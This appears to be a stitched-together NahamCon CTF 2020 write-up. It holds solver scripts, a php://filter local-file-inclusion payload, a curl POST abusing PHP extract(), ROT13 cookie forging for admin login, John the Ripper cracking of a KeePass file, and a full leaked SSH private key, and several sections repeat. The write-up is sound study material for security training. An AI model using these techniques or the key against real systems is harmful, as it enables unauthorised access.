At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that):
```python 3import refrom pwn import remotefrom random import choice
# The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'}
# The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, }
def beautify_data(msg): return str(msg)[2:-3].replace("\\n","")
# frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency)
host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1:
# Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0)
# Find the frequency of each codon for frequency analysis for i in range(0,len(ciphertext),3): frequency[ciphertext[i:i+3]] += 1 frequency = {k:frequency[k] for k in sorted(frequency, key= frequency.get, reverse=True)}
# The mapping letters from frequency analysis frequency_letters = [] # The whole plaintext plaintext = [] for i in range(0,len(ciphertext),3): # Checks if the mapping for the codon is known, if not predict a letter otherwise uses the mapping if mapping[ciphertext[i:i+3]] == '': plaintext.append(letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])]) frequency_letters.append((ciphertext[i:i+3],letter_frequency[list(frequency.keys()).index(ciphertext[i:i+3])])) else: plaintext.append(mapping[ciphertext[i:i+3]])
plaintext = ''.join(plaintext) if 'nope' in plaintext: break
print(ciphertext) print(plaintext) print(str(index) + ": " + str(frequency_letters))
response = 'random' for q in question_types.keys(): if q in plaintext: response = plaintext.split(" ")[question_types[q]] break
print(response) s.send(response.upper()) index += 1
print(frequency)```and oh boy did it worked, after a little more than an hour I succeeded in finding out a mapping for every used codon and get the flag:

actually the mapping is not spot-on for numbers but because the string only comprises of letters this is not that crucial.
## RottenIck, this salad doesn't taste too good!
Connect with:\`nc jh2i.com 50034`
**flag{now_you_know_your_caesars}**
**Solution:** server response is ceaser cipher encrypted, code:
```python 3from pwn import remoteimport reimport rehost, port = 'jh2i.com', 50034s = remote(host,port)flag = [''] * 32for _ in range(200): question = s.recv() answer = list(str(question)[2:-3]) for i in range(27): for j in range(len(answer)): if ord(answer[j]) >= ord('a') and ord(answer[j]) <= ord('z'): answer[j] = chr((ord(answer[j]) - ord('a') + 1) % ( ord('z') - ord('a') + 1) + ord('a')) plain = ''.join(answer) if 'send back' in plain: break position = re.findall("[0-9]+",plain) if len(position) > 0: flag[int(position[0])] = plain[-2] empty = [i for i in range(len(flag)) if flag[i] == ''] print(''.join(flag), end='\r\n') s.send(plain)s.close()```
## Really powerful GnomesOnly YOU can save the village!
Connect with:`nc jh2i.com 50031`
**flag{it_was_in_fact_you_that_was_really_powerful}**
**Solution:** Automate going on adventure and buying weapons:
```python 3from pwn import *import reprices = [1000,2000,10000,100000,10000]gold = 0def beautify_data(msg): return str(msg)[2:-1].replace("\\n","\n")host, port = 'jh2i.com', 50031s = remote(host,port)for i in range(5): response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) s.send("6\n{}\n".format(i + 1)) while int(gold) < prices[i]: response = beautify_data(s.recv()) if "flag" in response: print(re.findall("flag{.*?}",response)[0]) exit(0) gold = re.findall("[0-9]+",response)[1] print("gold: " + gold) s.send("{}\n".format(5 - i))s.send("1\n")if "flag" in response: print(re.findall("flag{.*?}",response)[0])s.interactive()s.close()```
***
# Web
## Agent 95They've given you a number, and taken away your name~
Connect here:\http://jh2i.com:50000
**flag{user_agents_undercover}**
**Solution:** Change User agent to Windows 95
## LocalghostBooOooOooOOoo! This spooOoOooky client-side cooOoOode sure is scary! What spoOoOoOoky secrets does he have in stooOoOoOore??
Connect here:\http://jh2i.com:50003
**JCTF{spoooooky_ghosts_in_storage}**
**Solution:** In JavaScript code for jquerty.jscroll2 after beautifying, flag variable contains flag in bytes
## PhphonebookRing ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
Connect here:\http://jh2i.com:50002
**flag{phon3_numb3r_3xtr4ct3d}**
**Solution:** With the challenge we are given a website with the following index page:

so the site tells us that the php source for the page accepts parameters...oooh we might have LFI (local file inclusion), php allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage, php scripts stay in the server-side and should not be revealed to the client-side as it may contain sensitive data (and there is no use to it in the client-side), if we want to leak the php files we'll need to encode or encrypt the data as the LFI vulnerable php code will read the file as code and execute it, we can do such things using the php://filter wrapper, using this wrapper in the following way will leak the php source code for index page:
`http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=index.php`
and by going to this url we get the file base64 encoded:

```PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5QaHBob25lYm9vazwvdGl0bGU+CiAgICA8bGluayBocmVmPSJtYWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8L2hlYWQ+CiAgPGJvZHk+Cgk8P3BocAoJCSRmaWxlPSRfR0VUWydmaWxlJ107CgkJaWYoIWlzc2V0KCRmaWxlKSkKCQl7CgkJCWVjaG8gIlNvcnJ5ISBZb3UgYXJlIGluIC9pbmRleC5waHAvP2ZpbGU9IjsKCQl9IGVsc2UKCQl7CgkJCWluY2x1ZGUoc3RyX3JlcGxhY2UoJy5waHAnLCcnLCRfR0VUWydmaWxlJ10pLiIucGhwIik7CgkJCWRpZSgpOwoJCX0KCT8+CgkgIAk8cD5UaGUgcGhvbmVib29rIGlzIGxvY2F0ZWQgYXQgPGNvZGU+cGhwaG9uZWJvb2sucGhwPC9jb2RlPjwvcD4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyBib3R0b206MSU7IGxlZnQ6MSU7Ij4KPGJyPjxicj48YnI+PGJyPgo8Yj4gTk9UIENIQUxMRU5HRSBSRUxBVEVEOjwvYj48YnI+VEhBTksgWU9VIHRvIElOVElHUklUSSBmb3Igc3VwcG9ydGluZyBOYWhhbUNvbiBhbmQgTmFoYW1Db24gQ1RGIQo8cD4KPGltZyB3aWR0aD02MDBweCBzcmM9Imh0dHBzOi8vZDI0d3VxNm85NTFpMmcuY2xvdWRmcm9udC5uZXQvaW1nL2V2ZW50cy9pZC80NTcvNDU3NzQ4MTIxL2Fzc2V0cy9mN2RhMGQ3MThlYjc3YzgzZjVjYjYyMjFhMDZhMmY0NS5pbnRpLnBuZyI+CjwvcD4KPC9kaXY+CgogIDwvYm9keT4KIDwvaHRtbD4=```and decoding this from base64 gives us the code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head> <body> The phonebook is located at phphonebook.php
The phonebook is located at phphonebook.php
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```
we can now tell by this line `include(str_replace('.php','',$_GET['file']).".php");` that we only leak php files as the code removes the php extension from the file given as input (if there is one) and then appends a php extension to it, I think that there are ways to go around this but it is not important for this challenge, doing the same for phphonebook.php gives us this code:
```php
<html lang="en"> <head> <meta charset="utf-8"> <title>Phphonebook</title> <link href="main.css" rel="stylesheet"> </head>
<body class="bg"> <h1 id="header"> Welcome to the Phphonebook </h1>
<div id="im_container">
This phphonebook was made to look up all sorts of numbers! Have fun...
This phphonebook was made to look up all sorts of numbers! Have fun...
</div> <div> <form method="POST" action="#"> <label id="form_label">Enter number: </label> <input type="text" name="number"> <input type="submit" value="Submit"> </form> </div>
<div id="php_container"> </div>
<div style="position:fixed; bottom:1%; left:1%;"> NOT CHALLENGE RELATED:THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!</div>
</body></html>```by the end of the code there is a php segment where the method extract is used on $\_POST and then there is a check if $emergency is set, if so the code echoes the content of a file called flag.txt.\this is really interesting, I'll explain the gist of it mainly because I'm not so strong at php, the $_POST is the array of variables passed to the script when an HTTP POST request is sent to it (we commonly use 2 type of HTTP request, POST and GET, where GET asks from the server to return some resource for example the source for a page, and POST also sends variables to a file in the server in the request body), the extract method extracts the variables from the array, the extracted variable name is set to the name passed in the HTTP request and the value is set to the corresponding value, the isset method just checks if there is a variable with this name, by all this we can infer that we need to send a POST request to the server with a variable named emergency which has some arbitrary value in order to get the server to print the flag, we can do so using curl or using a proxy like burp suite like I will show first, we need to set burp suite as our proxy and send a post request to the server, we can do such that using the submit button in the phphonebook page:

burp suite catches the request and allows us to edit it:

we now only need to add an emergency variable and we get the flag:


with curl we can simply use the following command `curl -X POST --data "emergency=1" http://jh2i.com:50002/phphonebook.php` and by using that and grepping for the flag format we can easily get the flag:

**Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* HTTP request methods: https://www.w3schools.com/tags/ref_httpmethods.asp* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
# **NahamCon CTF 2020**
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:

By the description we know that we need to login as admin, but if we try using admin as our username we get the following:

But we can login with any other username:

If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:

we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:

now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:

**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:

This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:

**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:

this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:

**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:

The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:

and by saving the modified file and viewing it again we get the flag:

**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:

we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:

link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:

**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:

**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:

**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:

there are 2 repositories for the user:

the second one is not very helpful:

but the first one has some interesting files:

the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?

yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:

***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:

## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:

well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:

notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:

We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:

**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:

There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:

**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
